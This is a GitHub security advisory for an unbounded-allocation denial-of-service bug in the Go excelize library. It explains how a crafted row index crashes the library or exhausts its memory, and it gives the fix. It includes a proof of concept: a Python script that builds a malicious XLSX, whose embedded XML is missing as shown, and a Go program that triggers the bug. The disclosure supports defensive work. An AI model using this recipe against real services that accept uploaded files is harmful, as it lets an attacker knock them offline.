GitHub Advisoryadvisory · Go
GHSA-h69g-9hx6-f3v4 Excelize: Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS)
HIGH
Official page ↗
- Aliases
- CVE-2026-54063
- Ecosystem
- Go
- Packages
- github.com/xuri/excelize/v2
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-770
- Reviewed
- 2026-07-10
Affected packages
• Go github.com/xuri/excelize/v2: < 2.11.0 → fixed in 2.11.0
Description
Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS)
Summary
The `checkSheet()` function in `github.com/xuri/excelize/v2` uses an attacker-controlled `` XML attribute value directly as the length argument to `make([]xlsxRow, row)` without validating it against the Excel row limit (`TotalRows = 1,048,576`). A specially crafted XLSX file can trigger two denial-of-service variants: (A) an out-of-memory process kill when `r=2147483647` forces a ~16 GB allocation attempt, and (B) a runtime panic via out-of-bounds slice indexing when `r=-1`. Any service that opens attacker-supplied XLSX files and calls `GetCellValue` is affected. No authentication is required.
Details
The vulnerable code path is triggered by calling `GetCellValue` (or any API that internally invokes `workSheetReader`) on an XLSX file containing a crafted worksheet row element.
Data flow (source → sink):
1. `excelize.go:186-193` — `OpenReader` reads attacker-controlled spreadsheet bytes.
2. `excelize.go:216-223` — ZIP reader is created and passed to `ReadZipReader`.
3. `lib.go:43-77` — ZIP entries are read into `fileList`; worksheet XML is stored by part name.
4. `excelize.go:228-229` — XML bytes are stored in `f.Pkg`.
5. `cell.go:71-79` — Public `GetCellValue` enters the worksheet value-read path.
6. `cell.go:1492-1494` — `getCellStringFunc` calls `workSheetReader`.
7. `excelize.go:313-324` — Worksheet XML is decoded into `xlsxWorksheet`.
8. `xmlWorksheet.go:302-312` — `` is deserialized into `xlsxRow.R int` with no validation (source).
9. `excelize.go:357-377` — `checkSheet()` accumulates the maximum `r` value; sink: `make([]xlsxRow, row)` allocates a slice of that size before any bounds check.
Vulnerable code (`excelize.go:373-377`):
```go
if r.R != 0 && r.R > row {
row = r.R
}
sheetData := xlsxSheetData{Row: make([]xlsxRow, row)} // unbounded allocation
```
The constant `TotalRows = 1048576` is defined in `templates.go:190` but is never applied before the `make()` call in `checkSheet()`, leaving the allocation fully attacker-controlled.
Variant A (`r = 2147483647`): `make([]xlsxRow, 2147483647)` attempts to allocate approximately 16 GB of memory. The Go runtime terminates the process with `fatal error: runtime: out of memory`.
Variant B (`r = -1`): The first loop in `checkSheet()` leaves `row = 0` because the condition `r.R != 0` is false for `r.R = -1`. The second loop then executes `sheetData.Row[r.R-1]`, which evaluates to `sheetData.Row[-2]`, triggering `runtime error: index out of range [-2]` at `excelize.go:381`.
Dynamic reproduction confirmed both variants inside a memory-limited Docker container (256 MB). The full panic stack trace for Variant B is:
```
panic: runtime error: index out of range [-2]
goroutine 1 [running]:
github.com/xuri/excelize/v2.(*xlsxWorksheet).checkSheet(...)
/excelize/excelize.go:381
github.com/xuri/excelize/v2.(*File).workSheetReader(...)
/excelize/excelize.go:329
github.com/xuri/excelize/v2.(*File).getCellStringFunc(...)
/excelize/cell.go:1494
github.com/xuri/excelize/v2.(*File).GetCellValue(...)
/excelize/cell.go:72
main.main.func1(...)
/excelize/cmd/poc/main.go:44
main.main()
/excelize/cmd/poc/main.go:52
```
Recommended remediation (`excelize.go`):
```diff
-func (ws *xlsxWorksheet) checkSheet() {
+func (ws *xlsxWorksheet) checkSheet() error {
...
for i := 0; i TotalRows {
+ return ErrMaxRows
+ }
...
ws.SheetData = *sheetData
+ return nil
}
```
PoC
Step 1: Generate the malicious XLSX
```python
import zipfile
Variant A: OOM → row = "2147483647"
Variant B: Panic → row = "-1"
row = "-1"
with zipfile.ZipFile("malicious.xlsx", "w", zipfile.ZIP_DEFLATED) as z:
z.writestr("[Content_Types].xml", '''
''')
z.writestr("_rels/.rels", '''
''')
z.writestr("xl/workbook.xml", '''
''')
z.writestr("xl/_rels/workbook.xml.rels", '''
''')
z.writestr("xl/worksheets/sheet1.xml", f'''
1
''')
```
Step 2: Trigger the vulnerability
```go
package main
import "github.com/xuri/excelize/v2"
func main() {
f, err := excelize.OpenFile("malicious.xlsx")
if err != nil { panic(err) }
defer f.Close()
_, err = f.GetCellValue("Sheet1", "A1") // triggers checkSheet() → unbounded make()
if err != nil { panic(err) }
}
```
Expected results:
• Variant A (`r="2147483647"`): process is killed by the OOM killer (`fatal error: runtime: out of memory` or exit code 137).
• Variant B (`r="-1"`): process panics with `runtime error: index out of range [-2]` at `excelize.go:381` (exit code 2).
Both variants were confirmed in a Docker container with `--memory 256m --memory-swap 256m`. The malicious XLSX payload is a few hundred bytes.
Impact
This is a Denial-of-Service vulnerability. An unauthenticated remote attacker can crash or memory-exhaust any Go application that uses `github.com/xuri/excelize/v2` to open attacker-supplied XLSX files and subsequently calls any cell-reading API (`GetCellValue`, `GetRows`, `GetCols`, or any function that internally triggers `workSheetReader`).
Who is impacted:
• Web services with XLSX upload or import endpoints (document processors, data pipelines, BI tools).
• CLI tools or batch jobs that parse user-supplied spreadsheet files.
• Any application using the library to handle untrusted XLSX documents.
The attack requires no authentication and no user interaction beyond uploading a malicious file. The payload is a minimal well-formed ZIP of a few hundred bytes, making it trivial to construct and deliver. Repeated or concurrent exploitation can permanently deny service to all users of the affected application.
Reproduction artifacts
`Dockerfile`
```dockerfile
Dockerfile for VULN-001: Unbounded Row Index Allocation in excelize checkSheet()
CWE-770 — Allocation of Resources Without Limits or Throttling
Target: github.com/xuri/excelize/v2 @ commit f4a068b
Exploit path:
GetCellValue -> getCellStringFunc -> workSheetReader -> checkSheet()
In checkSheet() (excelize.go:341-393), the attacker-controlled
attribute is used directly as make([]xlsxRow, row) size with no bounds c…
Related
Alias · CVE (1)
- CVE-2026-54063 Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. vulnerability
Weakness · CWE (1)
- CWE-770 Allocation of Resources Without Limits or Throttling weakness